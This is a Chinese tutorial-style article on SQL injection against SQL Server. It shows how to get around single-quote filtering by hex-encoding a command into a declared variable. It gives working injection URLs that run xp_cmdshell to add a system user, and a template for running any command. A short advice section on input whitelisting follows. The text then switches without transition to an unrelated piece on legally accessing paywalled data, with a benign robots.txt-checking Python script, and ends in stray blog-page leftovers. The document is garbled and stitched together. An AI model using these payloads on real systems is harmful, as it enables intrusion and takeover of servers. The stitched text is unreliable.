饶过'(单引号)限制继续射入

本文作者:angel
文章性质:原创
发布日期:2004-04-02
  我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章,都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的,包括我写的那篇《SQL Injection的实现与应用》也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:

http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--


  这往往给大家造成误解,认为只要变量过滤了'就可以防止SQL Injection攻击,这种意识为大量程序可以注入埋下祸根,其实仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--


  是不是跟上面的那句有很大区别?可是效果完全是一样的。其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400


  这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白,先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a


解决办法:

  过滤变量,限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。
合法获取受付费墙保护的数据通常涉及遵循法律框架和技术规范。以下是一些方法和注意事项: ### 合法绕过付费墙的方式 #### 1. 使用公共数据源 许多政府机构、学术研究组织以及非营利性团体提供了大量免费的开放数据集。可以尝试查找是否有类似的公开数据满足需求[^2]。 #### 2. 利用图书馆或教育机构访问权限 部分高校或科研单位订阅了多种数据库服务,成员可以通过学校账号获得授权访问受限内容。如果符合条件,则可利用此类资源来合法获取所需资料而无需直接面对商业平台上的收费壁垒[^3]。 #### 3. 寻找替代工具和服务 有时存在功能相似但采用不同商业模式的产品可供选择。例如某些开源项目能够提供基本功能却免去了昂贵费用支出;或者通过API接口调用来实现特定目的而不是整套购买解决方案[^4]。 #### 4. 遵守robots协议并调整爬虫设置 当自动化抓取网页信息时,请务必尊重目标站点设定好的`Robots.txt`文件指示,并适当降低请求频率以免给对方服务器带来过大负担。这不仅有助于维护良好的网络生态秩序,也是避免触犯法律法规的有效手段之一。 ```python import time from urllib.robotparser import RobotFileParser def can_fetch(url, user_agent='*'): rp = RobotFileParser() rp.set_url(f"{url}/robots.txt") rp.read() return rp.can_fetch(user_agent, url) if __name__ == "__main__": target_website = "http://example.com" if not can_fetch(target_website): print("Access denied by robots.txt.") else: while True: # Your data fetching logic here time.sleep(5) # Respectful delay between requests. ``` 请注意以上代码仅为示例用途展示如何检测是否允许爬取某个网址下的页面内容,并加入等待时间间隔以减少对远程主机的压力影响。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值